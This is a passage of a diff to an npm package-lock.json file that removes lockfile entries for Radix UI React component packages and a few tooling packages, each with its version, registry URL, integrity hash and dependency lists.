- "integrity": "sha512-u4PF2TEFZlrXJVohn2pLlCEqw20rgG3M9yNlOkLTb8VSc5nuRdmfo47QeDrNyAbHUSXeWMJPDSPMamk2tvMVVg==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.1",
- "@radix-ui/react-collection": "1.1.1",
- "@radix-ui/react-compose-refs": "1.1.1",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-direction": "1.1.0",
- "@radix-ui/react-id": "1.1.0",
- "@radix-ui/react-menu": "2.1.3",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-roving-focus": "1.1.1",
- "@radix-ui/react-use-controllable-state": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-navigation-menu": {
- "version": "1.2.2",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-navigation-menu/-/react-navigation-menu-1.2.2.tgz",
- "integrity": "sha512-7wHxgyNzOjsexOHFTXGJK/RDhKgrqj0siWJpm5i+sb7h+A6auY7efph6eMg0kOU4sVCLcbhHK7ZVueAXxOzvZA==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.1",
- "@radix-ui/react-collection": "1.1.1",
- "@radix-ui/react-compose-refs": "1.1.1",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-direction": "1.1.0",
- "@radix-ui/react-dismissable-layer": "1.1.2",
- "@radix-ui/react-id": "1.1.0",
- "@radix-ui/react-presence": "1.1.2",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-use-callback-ref": "1.1.0",
- "@radix-ui/react-use-controllable-state": "1.1.0",
- "@radix-ui/react-use-layout-effect": "1.1.0",
- "@radix-ui/react-use-previous": "1.1.0",
- "@radix-ui/react-visually-hidden": "1.1.1"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-popover": {
- "version": "1.1.3",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-popover/-/react-popover-1.1.3.tgz",
- "integrity": "sha512-MBDKFwRe6fi0LT8m/Jl4V8J3WbS/UfXJtsgg8Ym5w5AyPG3XfHH4zhBp1P8HmZK83T8J7UzVm6/JpDE3WMl1Dw==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.1",
- "@radix-ui/react-compose-refs": "1.1.1",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-dismissable-layer": "1.1.2",
- "@radix-ui/react-focus-guards": "1.1.1",
- "@radix-ui/react-focus-scope": "1.1.1",
- "@radix-ui/react-id": "1.1.0",
- "@radix-ui/react-popper": "1.2.1",
- "@radix-ui/react-portal": "1.1.3",
- "@radix-ui/react-presence": "1.1.2",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-slot": "1.1.1",
- "@radix-ui/react-use-controllable-state": "1.1.0",
- "aria-hidden": "^1.1.1",
- "react-remove-scroll": "2.6.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-popper": {
- "version": "1.2.1",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-popper/-/react-popper-1.2.1.tgz",
- "integrity": "sha512-3kn5Me69L+jv82EKRuQCXdYyf1DqHwD2U/sxoNgBGCB7K9TRc3bQamQ+5EPM9EvyPdli0W41sROd+ZU1dTCztw==",
- "dependencies": {
- "@floating-ui/react-dom": "^2.0.0",
- "@radix-ui/react-arrow": "1.1.1",
- "@radix-ui/react-compose-refs": "1.1.1",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-use-callback-ref": "1.1.0",
- "@radix-ui/react-use-layout-effect": "1.1.0",
- "@radix-ui/react-use-rect": "1.1.0",
- "@radix-ui/react-use-size": "1.1.0",
- "@radix-ui/rect": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-portal": {
- "version": "1.1.3",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-portal/-/react-portal-1.1.3.tgz",
- "integrity": "sha512-NciRqhXnGojhT93RPyDaMPfLH3ZSl4jjIFbZQ1b/vxvZEdHsBZ49wP9w8L3HzUQwep01LcWtkUvm0OVB5JAHTw==",
- "dependencies": {
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-use-layout-effect": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-presence": {
- "version": "1.1.2",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-presence/-/react-presence-1.1.2.tgz",
- "integrity": "sha512-18TFr80t5EVgL9x1SwF/YGtfG+l0BS0PRAlCWBDoBEiDQjeKgnNZRVJp/oVBl24sr3Gbfwc/Qpj4OcWTQMsAEg==",
- "dependencies": {
- "@radix-ui/react-compose-refs": "1.1.1",
- "@radix-ui/react-use-layout-effect": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-primitive": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.0.1.tgz",
- "integrity": "sha512-sHCWTtxwNn3L3fH8qAfnF3WbUZycW93SM1j3NFDzXBiz8D6F5UTTy8G1+WFEaiCdvCVRJWj6N2R4Xq6HdiHmDg==",
- "dependencies": {
- "@radix-ui/react-slot": "1.1.1"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-progress": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-progress/-/react-progress-1.1.1.tgz",
- "integrity": "sha512-6diOawA84f/eMxFHcWut0aE1C2kyE9dOyCTQOMRR2C/qPiXz/X0SaiA/RLbapQaXUCmy0/hLMf9meSccD1N0pA==",
- "dependencies": {
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-primitive": "2.0.1"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-radio-group": {
- "version": "1.2.2",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-radio-group/-/react-radio-group-1.2.2.tgz",
- "integrity": "sha512-E0MLLGfOP0l8P/NxgVzfXJ8w3Ch8cdO6UDzJfDChu4EJDy+/WdO5LqpdY8PYnCErkmZH3gZhDL1K7kQ41fAHuQ==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.1",
- "@radix-ui/react-compose-refs": "1.1.1",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-direction": "1.1.0",
- "@radix-ui/react-presence": "1.1.2",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-roving-focus": "1.1.1",
- "@radix-ui/react-use-controllable-state": "1.1.0",
- "@radix-ui/react-use-previous": "1.1.0",
- "@radix-ui/react-use-size": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-roving-focus": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-roving-focus/-/react-roving-focus-1.1.1.tgz",
- "integrity": "sha512-QE1RoxPGJ/Nm8Qmk0PxP8ojmoaS67i0s7hVssS7KuI2FQoc/uzVlZsqKfQvxPE6D8hICCPHJ4D88zNhT3OOmkw==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.1",
- "@radix-ui/react-collection": "1.1.1",
- "@radix-ui/react-compose-refs": "1.1.1",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-direction": "1.1.0",
- "@radix-ui/react-id": "1.1.0",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-use-callback-ref": "1.1.0",
- "@radix-ui/react-use-controllable-state": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-scroll-area": {
- "version": "1.2.2",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-scroll-area/-/react-scroll-area-1.2.2.tgz",
- "integrity": "sha512-EFI1N/S3YxZEW/lJ/H1jY3njlvTd8tBmgKEn4GHi51+aMm94i6NmAJstsm5cu3yJwYqYc93gpCPm21FeAbFk6g==",
- "dependencies": {
- "@radix-ui/number": "1.1.0",
- "@radix-ui/primitive": "1.1.1",
- "@radix-ui/react-compose-refs": "1.1.1",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-direction": "1.1.0",
- "@radix-ui/react-presence": "1.1.2",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-use-callback-ref": "1.1.0",
- "@radix-ui/react-use-layout-effect": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-select": {
- "version": "2.1.3",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-select/-/react-select-2.1.3.tgz",
- "integrity": "sha512-tlLwaewTfrKetiex8iW9wwME/qrYlzlH0qcgYmos7xS54MO00SiPHasLoAykg/yVrjf41GQptPPi4oXzrP+sgg==",
- "dependencies": {
- "@radix-ui/number": "1.1.0",
- "@radix-ui/primitive": "1.1.1",
- "@radix-ui/react-collection": "1.1.1",
- "@radix-ui/react-compose-refs": "1.1.1",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-direction": "1.1.0",
- "@radix-ui/react-dismissable-layer": "1.1.2",
- "@radix-ui/react-focus-guards": "1.1.1",
- "@radix-ui/react-focus-scope": "1.1.1",
- "@radix-ui/react-id": "1.1.0",
- "@radix-ui/react-popper": "1.2.1",
- "@radix-ui/react-portal": "1.1.3",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-slot": "1.1.1",
- "@radix-ui/react-use-callback-ref": "1.1.0",
- "@radix-ui/react-use-controllable-state": "1.1.0",
- "@radix-ui/react-use-layout-effect": "1.1.0",
- "@radix-ui/react-use-previous": "1.1.0",
- "@radix-ui/react-visually-hidden": "1.1.1",
- "aria-hidden": "^1.1.1",
- "react-remove-scroll": "2.6.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-separator": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-separator/-/react-separator-1.1.1.tgz",
- "integrity": "sha512-RRiNRSrD8iUiXriq/Y5n4/3iE8HzqgLHsusUSg5jVpU2+3tqcUFPJXHDymwEypunc2sWxDUS3UC+rkZRlHedsw==",
- "dependencies": {
- "@radix-ui/react-primitive": "2.0.1"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-slider": {
- "version": "1.2.2",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-slider/-/react-slider-1.2.2.tgz",
- "integrity": "sha512-sNlU06ii1/ZcbHf8I9En54ZPW0Vil/yPVg4vQMcFNjrIx51jsHbFl1HYHQvCIWJSr1q0ZmA+iIs/ZTv8h7HHSA==",
- "dependencies": {
- "@radix-ui/number": "1.1.0",
- "@radix-ui/primitive": "1.1.1",
- "@radix-ui/react-collection": "1.1.1",
- "@radix-ui/react-compose-refs": "1.1.1",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-direction": "1.1.0",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-use-controllable-state": "1.1.0",
- "@radix-ui/react-use-layout-effect": "1.1.0",
- "@radix-ui/react-use-previous": "1.1.0",
- "@radix-ui/react-use-size": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-slot": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.1.1.tgz",
- "integrity": "sha512-RApLLOcINYJA+dMVbOju7MYv1Mb2EBp2nH4HdDzXTSyaR5optlm6Otrz1euW3HbdOR8UmmFK06TD+A9frYWv+g==",
- "dependencies": {
- "@radix-ui/react-compose-refs": "1.1.1"
- },
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-switch": {
- "version": "1.1.2",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-switch/-/react-switch-1.1.2.tgz",
- "integrity": "sha512-zGukiWHjEdBCRyXvKR6iXAQG6qXm2esuAD6kDOi9Cn+1X6ev3ASo4+CsYaD6Fov9r/AQFekqnD/7+V0Cs6/98g==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.1",
- "@radix-ui/react-compose-refs": "1.1.1",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-use-controllable-state": "1.1.0",
- "@radix-ui/react-use-previous": "1.1.0",
- "@radix-ui/react-use-size": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-tabs": {
- "version": "1.1.2",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-tabs/-/react-tabs-1.1.2.tgz",
- "integrity": "sha512-9u/tQJMcC2aGq7KXpGivMm1mgq7oRJKXphDwdypPd/j21j/2znamPU8WkXgnhUaTrSFNIt8XhOyCAupg8/GbwQ==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.1",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-direction": "1.1.0",
- "@radix-ui/react-id": "1.1.0",
- "@radix-ui/react-presence": "1.1.2",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-roving-focus": "1.1.1",
- "@radix-ui/react-use-controllable-state": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-toast": {
- "version": "1.2.3",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-toast/-/react-toast-1.2.3.tgz",
- "integrity": "sha512-oB8irs7CGAml6zWbum7MNySTH/sR7PM1ZQyLV8reO946u73sU83yZUKijrMLNbm4hTOrJY4tE8Oa/XUKrOr2Wg==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.1",
- "@radix-ui/react-collection": "1.1.1",
- "@radix-ui/react-compose-refs": "1.1.1",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-dismissable-layer": "1.1.2",
- "@radix-ui/react-portal": "1.1.3",
- "@radix-ui/react-presence": "1.1.2",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-use-callback-ref": "1.1.0",
- "@radix-ui/react-use-controllable-state": "1.1.0",
- "@radix-ui/react-use-layout-effect": "1.1.0",
- "@radix-ui/react-visually-hidden": "1.1.1"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-toggle": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-toggle/-/react-toggle-1.1.1.tgz",
- "integrity": "sha512-i77tcgObYr743IonC1hrsnnPmszDRn8p+EGUsUt+5a/JFn28fxaM88Py6V2mc8J5kELMWishI0rLnuGLFD/nnQ==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.1",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-use-controllable-state": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-toggle-group": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-toggle-group/-/react-toggle-group-1.1.1.tgz",
- "integrity": "sha512-OgDLZEA30Ylyz8YSXvnGqIHtERqnUt1KUYTKdw/y8u7Ci6zGiJfXc02jahmcSNK3YcErqioj/9flWC9S1ihfwg==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.1",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-direction": "1.1.0",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-roving-focus": "1.1.1",
- "@radix-ui/react-toggle": "1.1.1",
- "@radix-ui/react-use-controllable-state": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-tooltip": {
- "version": "1.1.5",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-tooltip/-/react-tooltip-1.1.5.tgz",
- "integrity": "sha512-IucoQPcK5nwUuztaxBQvudvYwH58wtRcJlv1qvaMSyIbL9dEBfFN0vRf/D8xDbu6HmAJLlNGty4z8Na+vIqe9Q==",
- "dependencies": {
- "@radix-ui/primitive": "1.1.1",
- "@radix-ui/react-compose-refs": "1.1.1",
- "@radix-ui/react-context": "1.1.1",
- "@radix-ui/react-dismissable-layer": "1.1.2",
- "@radix-ui/react-id": "1.1.0",
- "@radix-ui/react-popper": "1.2.1",
- "@radix-ui/react-portal": "1.1.3",
- "@radix-ui/react-presence": "1.1.2",
- "@radix-ui/react-primitive": "2.0.1",
- "@radix-ui/react-slot": "1.1.1",
- "@radix-ui/react-use-controllable-state": "1.1.0",
- "@radix-ui/react-visually-hidden": "1.1.1"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-use-callback-ref": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-use-callback-ref/-/react-use-callback-ref-1.1.0.tgz",
- "integrity": "sha512-CasTfvsy+frcFkbXtSJ2Zu9JHpN8TYKxkgJGWbjiZhFivxaeW7rMeZt7QELGVLaYVfFMsKHjb7Ak0nMEe+2Vfw==",
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-use-controllable-state": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-use-controllable-state/-/react-use-controllable-state-1.1.0.tgz",
- "integrity": "sha512-MtfMVJiSr2NjzS0Aa90NPTnvTSg6C/JLCV7ma0W6+OMV78vd8OyRpID+Ng9LxzsPbLeuBnWBA1Nq30AtBIDChw==",
- "dependencies": {
- "@radix-ui/react-use-callback-ref": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-use-escape-keydown": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-use-escape-keydown/-/react-use-escape-keydown-1.1.0.tgz",
- "integrity": "sha512-L7vwWlR1kTTQ3oh7g1O0CBF3YCyyTj8NmhLR+phShpyA50HCfBFKVJTpshm9PzLiKmehsrQzTYTpX9HvmC9rhw==",
- "dependencies": {
- "@radix-ui/react-use-callback-ref": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-use-layout-effect": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-use-layout-effect/-/react-use-layout-effect-1.1.0.tgz",
- "integrity": "sha512-+FPE0rOdziWSrH9athwI1R0HDVbWlEhd+FR+aSDk4uWGmSJ9Z54sdZVDQPZAinJhJXwfT+qnj969mCsT2gfm5w==",
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-use-previous": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-use-previous/-/react-use-previous-1.1.0.tgz",
- "integrity": "sha512-Z/e78qg2YFnnXcW88A4JmTtm4ADckLno6F7OXotmkQfeuCVaKuYzqAATPhVzl3delXE7CxIV8shofPn3jPc5Og==",
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-use-rect": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-use-rect/-/react-use-rect-1.1.0.tgz",
- "integrity": "sha512-0Fmkebhr6PiseyZlYAOtLS+nb7jLmpqTrJyv61Pe68MKYW6OWdRE2kI70TaYY27u7H0lajqM3hSMMLFq18Z7nQ==",
- "dependencies": {
- "@radix-ui/rect": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-use-size": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-use-size/-/react-use-size-1.1.0.tgz",
- "integrity": "sha512-XW3/vWuIXHa+2Uwcc2ABSfcCledmXhhQPlGbfcRXbiUQI5Icjcg19BGCZVKKInYbvUCut/ufbbLLPFC5cbb1hw==",
- "dependencies": {
- "@radix-ui/react-use-layout-effect": "1.1.0"
- },
- "peerDependencies": {
- "@types/react": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/react-visually-hidden": {
- "version": "1.1.1",
- "resolved": "https://registry.npmjs.org/@radix-ui/react-visually-hidden/-/react-visually-hidden-1.1.1.tgz",
- "integrity": "sha512-vVfA2IZ9q/J+gEamvj761Oq1FpWgCDaNOOIfbPVp2MVPLEomUr5+Vf7kJGwQ24YxZSlQVar7Bes8kyTo5Dshpg==",
- "dependencies": {
- "@radix-ui/react-primitive": "2.0.1"
- },
- "peerDependencies": {
- "@types/react": "*",
- "@types/react-dom": "*",
- "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",
- "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"
- },
- "peerDependenciesMeta": {
- "@types/react": {
- "optional": true
- },
- "@types/react-dom": {
- "optional": true
- }
- }
- },
- "node_modules/@radix-ui/rect": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@radix-ui/rect/-/rect-1.1.0.tgz",
- "integrity": "sha512-A9+lCBZoaMJlVKcRBz2YByCG+Cp2t6nAnMnNba+XiWxnj6r4JUFqfsgwocMBZU9LPtdxC6wB56ySYpc7LQIoJg=="
- },
- "node_modules/@rtsao/scc": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/@rtsao/scc/-/scc-1.1.0.tgz",
- "integrity": "sha512-zt6OdqaDoOnJ1ZYsCYGt9YmWzDXl4vQdKTyJev62gFhRGKdx7mcT54V9KIjg+d2wi9EXsPvAPKe7i7WjfVWB8g=="
- },
- "node_modules/@rushstack/eslint-patch": {
- "version": "1.10.4",
- "resolved": "https://registry.npmjs.org/@rushstack/eslint-patch/-/eslint-patch-1.10.4.tgz",
- "integrity": "sha512-WJgX9nzTqknM393q1QJDJmoW28kUfEnybeTfVNcNAPnIx210RXm2DiXiHzfNPJNIUUb1tJnz/l4QGtJ30PgWmA=="
- },
